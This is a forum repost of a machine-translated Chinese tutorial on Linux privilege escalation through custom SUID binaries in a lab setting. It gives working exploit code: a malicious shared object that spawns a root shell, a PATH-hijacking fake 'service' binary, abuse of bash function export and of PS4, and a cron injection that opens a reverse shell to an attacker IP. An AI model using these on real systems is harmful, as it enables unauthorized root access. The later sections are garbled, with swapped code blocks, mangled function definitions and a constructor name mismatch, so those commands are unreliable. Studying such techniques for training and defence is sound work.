ToB企服应用市场:ToB评测及商务社交产业平台

标题: Linux 提权-SUID/SGID_2 [打印本页]

作者: 天空闲话    时间: 2024-7-7 22:38
标题: Linux 提权-SUID/SGID_2
本文通过 Google 翻译 SUID | SGID Part-2 – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词举行了校正及个别解释增补。
导航

0、前言

在这篇文章中,我们将继续讨论通过滥用 SUID 和 SGID 权限来提拔权限的文章的第 2 部分。
如果您尚未查看第 1 部分,我剧烈建议您在阅读本文之前先从第 1 部分开始。
在第 2 部分中,我们将回首三种差别的自定义二进制文件,这些二进制文件都可以通过差别的方式被利用,利用方式包括:共享对象注入、PATH 注入、滥用 Shell 功能。
此外,我们还将检察第四种既非标准也非自定义的二进制文件,它完全属于另外一种类别。
在我们开始讨论漏洞利用示例之前,让我们快速回首一下第 1 部分中介绍的内容。
1、上文回首

在这篇文章的第 1 部分中,我们了解到:
在第一篇文章中罗列和利用 SUID 二进制文件之前,我们假设已在受害者身上获得了初步立足点。

除了利用 LinPEAS 和 SUID3NUM 在受害者主机上发现的 6 个标准二进制文件之外,我们还发现了 4 个看起来很风趣的自定义二进制文件。


现在我们已经利用了六个标准二进制文件,在本文的第 2 部分,我们将把重点转移到利用四个自定义二进制文件:suid-so、suid-path、suid-sfmaidag
2、罗列自定义 SUID 二进制文件

在体系上发现一些自定义二进制文件后,我们需要进一步罗列它们。
由于这些二进制文件是自定义的,我们很可能无法在 GTFOBins 上找到“快速得胜”的方法,因此我们需要进一步了解自定义二进制文件,以确定它们是否可以被利用。
在罗列自定义 SUID 二进制文件时,可以遵照以下“检查表”:
最后需要提到的是,自定义二进制文件通常有两种类型。
类型 1 :用户为特定任务或目的制作的内部二进制文件。这些通常非常基本并且很容易发现。
类型 2 :通常与第三方程序一起打包/交付的自定义二进制文件。这些通常具有公开已知的漏洞并分配有 CVE。
在下面的每个示例中,我们都将运行该“检查表”来查找漏洞,然后加以利用。
好吧,现在我们都已经了解了,让我们开始讨论一些漏洞利用示例。
3、利用 SUID 二进制文件 – 共享对象注入

在利用自定义 SUID 二进制文件的第一个示例中,我们将查看在罗列期间找到的 suid-so 二进制文件。
由于我们不熟悉这个二进制文件,因此我们应该做的第一件事就是与它举行交互,看看它做了什么。
  1. /usr/bin/suid-so
复制代码

在这里我们可以看到,它计算了一些东西,到达 99%,然后完成并退出。
遗憾的是,这并不能让我们对这个二进制有多少了解。
尝试运行二进制文件后,我们应该检查的下一件事是该二进制文件是否在 GTFOBins 上。
荣幸的是(大概说不幸的是),SUID3NUM 已经确定了 GTFOBins 上列出的二进制文件,而这并不是其中之一。

现在我们知道这个二进制文件在 GTFOBins 上没有“快速得胜”的方法,那么接下来我们应该做的就是检查二进制文件本身。
3.1、利用 Strings 和 Strace 提取信息

首先,我们可以利用 strings 命令来查看执行期间是否加载了任何二进制文件或共享库。
  1. strings /usr/bin/suid-so
复制代码

风趣的是,似乎在执行过程中从我们当前用户的主目录下加载了一个共享对象。
由于我们在主目录中有写权限,因此我们应该能够用恶意内容替换 libcalc.so
在尝试利用这一点之前,让我们通过调试来仔细看看二进制文件在运行时在做什么。
对于我们的用例,我们最感爱好的是查看程序运行时加载的内容,这就是为什么我们将利用 strace 举行调试。
Strace 监视特定程序的体系调用和信号,并提供从开始到结束的执行顺序。当您没有源代码并且想要调试程序的执行时,它会很有帮助。
  1. strace /usr/local/bin/suid-so 2>&1 | less
复制代码

基本上,在调试程序时我们要查找两件事:哪些共享库正在加载,以及它们是从那里被加载。
其实,程序是否能找到共享对象并不重要,最重要的是,找到的共享对象它所在的目录我们是否有写入权限。
现在知道了我们真正要探求的目的,那我们就可以改进这条命令,用 grep 命令查找从非默认位置执行的任何 .so 文件。
目录:  /lib、/usr/lib、/usr/local/lib 是存储共享库的默认位置。
  1. strace /usr/bin/suid-so 2>&1 | grep -v '/lib/\|/usr/\|/etc/' | grep -i '\.so'
复制代码

与利用 strings 命令类似,我们找到了从当前用户主目录执行的 libcalc.so 文件。
这也证实了共享对象文件就是在执行过程中被加载的,这意味着它是可利用的。
3.2、制作恶意共享对象文件

至此,我们已经确认有一个共享库是从一个非标准目录加载的,而这个目录恰好是我们当前的用户主目录,而我们在主目录中是拥有写入权限的。
综上所述,剩下唯一要做的就是制作一个名为 licalc.so 的恶意共享对象文件,并将其放置在 /home/user/.config 目录中。
导航到 /home/user/.config ,我们可以看到该目录中没有libcal.so文件。

由于 libcalc.so 文件不存在,我们需要创建它。
为此,我们将创建一个恶意 C 程序,然后将其编译为共享目标文件。
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. static void inject() __attribute__((constructor));
  4. void _inject() {
  5.         system("/bin/bash -p");
  6. }
复制代码
由于 suid-so 二进制文件由 root 拥有并设置了 SUID 位,因此当它执行时,我们的恶意共享对象文件将由程序加载并以 root 身份执行。

接下来,我们需要将C程序编译成共享目标文件。
  1. gcc -shared -fPIC libcalc.c -o /home/user/.config/libcalc.so
复制代码

Perfect,我们的 libcalc.so 恶意副本已创建并可供利用。
现在我们要做的就是运行 suid-so 二进制文件。执行后,它将加载 lcalc 共享库。加载完成后,它将执行恶意版本的 libcalc.so,并将我们直接拖入 root shell。
  1. /usr/bin/suid-so
复制代码

在这里,可以看到程序开始正常运行,接着恶意共享对象被加载,然后我们就进入了一个 root shell 情况!
4、利用 SUID 二进制文件 – PATH 注入

继续讨论自定义 SUID 二进制文件的第二个示例,我们将查看在罗列过程中找到的 suid-path 二进制文件。
正如我们在上一个示例中看到的那样,当面对我们不熟悉的二进制文件时,我们要做的第一件事就是运行它以查看它的作用。
  1. /usr/bin/suid-path
复制代码

风趣的是,在这里我们可以看到二进制文件似乎正在检查 SSH 服务的状态。
现在我们已经了解了二进制文件正在做什么,下一步是检查 GTFObins 以“快速得胜”。
但是,我们已经知道这是一个自定义二进制文件,GTFObins 是不会列出它的。
接下来,我们要做的就是尝试从二进制文件中提取字符串。这可以帮助我们确定在执行过程中是否加载了任何风趣的二进制文件。
  1. strings /usr/bin/suid-path
复制代码

Amazing!在字符串中,我们可以看到二进制文件中利用了命令 service ssh status
之前运行 suid-path 二进制文件时,我们注意到它会检查 SSH 服务的状态,现在我们知道了输出的泉源指令。
关于命令 service ssh status 需要注意的一件事是:service 二进制文件没有利用绝对路径。
这就为 PATH 注入漏洞打开了大门。
4.1、设置漏洞并获取 Root Shell

现在我们已经发现了这个漏洞,接下来需要做一些事变来设置我们的漏洞。
4.1.1、编辑 PATH 情况变量

我们需要做的第一件事是编辑 PATH 变量以包含可写目录。
PATH 情况变量是 Linux 在执行命令时用于搜刮二进制文件的有序路径列表。仅当执行命令而不指定二进制文件的绝对路径时,才利用 PATH。
现在,我们的 PATH 列出了默认目录,我们可以利用以下命令查看这些目录:
  1. echo $PATH
复制代码

当命令 service ssh statussuid-path 二进制文件执行时,它是在不利用绝对路径的情况下完成的。这意味着体系将从左到右检查 PATH 情况变量中列出的每个目录中是否有 service 二进制文件,然后从找到的第一个目录执行它。
现在我们知道 PATH 情况变量是怎样工作的,我们应该开始思量怎样利用这些知识来利用命令 service ssh status
上述 PATH 中的所有默认目录对于标准用户来说都是不可写的,这意味着我们需要添加一个新的目录。
任何用户都可以编辑自己的 PATH。并且,添加到用户 PATH 的任何新目录都会放置在最左侧。
例如,我们可以将一个可写目录添加到我们的 PATH 中,如下所示:
  1. export PATH=/tmp:$PATH
复制代码
现在,当我们再次检查 PATH 变量时,我们可以看到 /tmp 位于最左侧。

这意味着在没有二进制文件绝对路径的情况下执行的任何命令都将首先检查 /tmp
现在我们需要做的就是制作一个名为 service 的恶意二进制文件并将其放置在 /tmp 目录中。
4.1.2、直接针对受害者制造漏洞

从上一个示例中我们知道 gcc 已安装在受害者上,因此我们可以直接在受害者上制作漏洞利用程序,然后对其举行编译。
首先,我们需要导航到 /tmp 文件夹,然后运行以下命令来制作恶意 C 程序:
  1. echo '#include <stdio.h>' > service.c
  2. echo '#include <stdlib.h>' >> service.c
  3. echo '' >> service.c
  4. echo 'int main(){' >> service.c
  5. echo '    system("cp /bin/bash /tmp && chmod +s /tmp/bash");' >> service.c
  6. echo '  return 0;' >> service.c
  7. echo '}' >> service.c
复制代码

我们的恶意 C 程序看起来不错,现在需要做的就是编译它,然后再次运行 suid-path 程序。
  1. gcc /tmp/service.c -o /tmp/service
复制代码

Perfect!我们的漏洞已经准备好了。现在,当我们执行 suid-path 时,程序将沿着 PATH 查找 service 命令。
因为我们将 /tmp 添加到我们的 PATH 中,以是程序将首先在 /tmp 目录中搜刮并执行我们的恶意版本的 service
执行后,我们的恶意 service 二进制文件会将 /bin/bash 复制到 /tmp 中,然后向其添加 SUID 位。
4.1.3、利用 suid-path 获取 Root Shell

现在到了关键时刻。
  1. /usr/bin/suid-path
复制代码

Boom!我们挟制了执行路径,并让 suid-path 程序执行我们的漏洞利用程序,而不是真正的 service 二进制文件。
现在,在 /tmp 目录中出现了添加 SUID 位的 bash 副本,我们可以轻松地进入 root shell 了。
  1. /tmp/bash -p
复制代码

5、利用 SUID 二进制文件 – 滥用 Shell 功能

这个例子与前两个例子有些差别,因为这个例子在肯定程度上需要利用链。
让我们看一下第三个自定义二进制文件:suid-sf
首先,我们将运行程序看看它能做些什么,这将帮助我们建立对自定义二进制文件的第一印象。
  1. export -f /usr/sbin/service
复制代码

运行 suid-sf 会执行一些操作,但它不会产生任何输出。
我们可以检查的另一件事是帮助菜单。
  1. export -f /usr/sbin/service --help
复制代码

结果没有输出任何信息。
接下来,我们将跳过 GTFOBins 检查,因为这是一个不会被列出的自定义二进制文件。
接下来,我们将从二进制文件中提取字符串,以帮助我们确定在执行期间是否正在加载任何其他风趣的二进制文件。
  1. strings export -f /usr/sbin/service
复制代码

Amazing!我们能够发现正在执行的一个风趣的命令,就像上次一样,它正在利用 service 二进制文件。
与用于检查 SSH 服务状态的 suid-path 二进制文件差别,此二进制文件启动该服务。但此示例与上一个示例之间另有一个主要区别就是:此示例利用了二进制文件的绝对路径。
因为利用的是绝对路径,以是我们将无法像上次那样举行 PATH 注入攻击。
此外,利用绝对路径利用二进制文件的唯一途径是,我们在二进制文件所在目录中拥有写入权限。如许,我们就可以用恶意软件替换二进制文件,类似于我们在 suid-so 示例中的做法。
检查我们是否在 /usr/bin 目录中具有写入权限,结果表明我们没有,这也是预料之中的事。
  1. ls -l /usr | grep "bin"
复制代码

默认情况下,标准用户无法写入 /usr/bin目录。
5.1、函数 – Bash 的秘密力量

由于自定义 suid-sf 二进制文件利用的是 service 二进制文件的绝对路径,而除非我们在二进制文件所在目录中拥有写入权限,否则无法利用这一点。
固然这是事实,但这是单方面的思维。
有时,事变并不总是外貌上看起来的那么脆弱,但作为一名熟练的攻击者,我们需要知道怎样拓展我们的思维。本质上,如果我们的直觉告诉我们某事看起来很脆弱,那么我们应该相信这种直觉。
话虽云云,我们仍需要进一步罗列,以尝试更好地理解执行该二进制文件时发生的所有情况。
在这种情况下,我们可以检查受害者上运行的 bash 版本。
  1. /bin/bash --version
复制代码

Great!我们可以看到这是 bash 的早期版本 – 4.1.5
<blockquote>
某些版本的 Bash ( whoami.txt; }[/code]创建 POC 函数后,我们需要将其导出到情况变量中。
  1. function function /usr/sbin/service() { /bin/bash-p; }() { whoami > whoami.txt; }
复制代码

Perfect!可以看到我们的情况变量已经更新,并包含新创建的函数。
现在,我们所要做的就是运行 service 二进制文件,然后检查 /tmp 文件夹,查看是否创建了一个名为 whoami.txt 的新文件。
  1. function /usr/sbin/service() { /bin/bash-p; }
复制代码

POC 乐成,这证实了 service 二进制文件正在利用我们创建的函数。
在确认该功能正常运行后,我们现在知道我们可以利用它来举行恶意攻击。
我们可以创建一个函数,将我们直接带入 root shell,如下所示:
  1. function function /usr/sbin/service() { /bin/bash-p; }() { /bin/bash-p; }
复制代码
现在我们已经创建了恶意函数,我们需要再次将其导出到情况变量中。
  1. function function /usr/sbin/service() { /bin/bash-p; }() { whoami > whoami.txt; }
复制代码

可以看到情况变量已更新为进入一个 shell,而不是写入 whoami.txt 文件。
接下来要做的就是执行 suid-sf 二进制文件。
一旦执行,/usr/bin/service 将被加载,我们的恶意函数将取代真正的 service 二进制文件而被执行。由于 suid-sf 二进制文件添加了 SUID 位,因此会以 root 身份执行,并将我们拖入 root shell。
  1. export -f /usr/sbin/service
复制代码

5.3、更新 Bash 漏洞 – 利用二


在对 bash 举行修改以删除与函数相关的漏洞后,又发现了一种可在 > rootme.shecho 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> rootme.sh[/code]

好了,脚本已经制作好了,现在只需要设置执行权限即可。
  1. /usr/bin/suid-sf
复制代码

接下来,我们需要创建 crontab.in 文件,将我们的恶意 cron 作业写入 crontab。
请注意,形貌说要使此功能正常工作,请将 crontab.in 文件的第一行留空。
  1. env -i SHELLOPTS=xtrace PS4='$(/bin/bash -p)' /usr/bin/suid-sf
复制代码

最后,我们准备运行 maidag 二进制文件并将恶意条目注入到 crontab 中。
  1. /usr/local/sbin/maidag
复制代码

运行 maidag 二进制文件后,我们可以看到它有用并且 crontab 已更新!

这将每分钟运行一次 cron 作业并执行我们以 root 身份创建的恶意 rootme.sh 脚本。
剩下要做的就是在我们的攻击者机器上启动一个 netcat 监听器,然后等待 root shell 进入。
不到一分钟,root shell 就登录了!


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4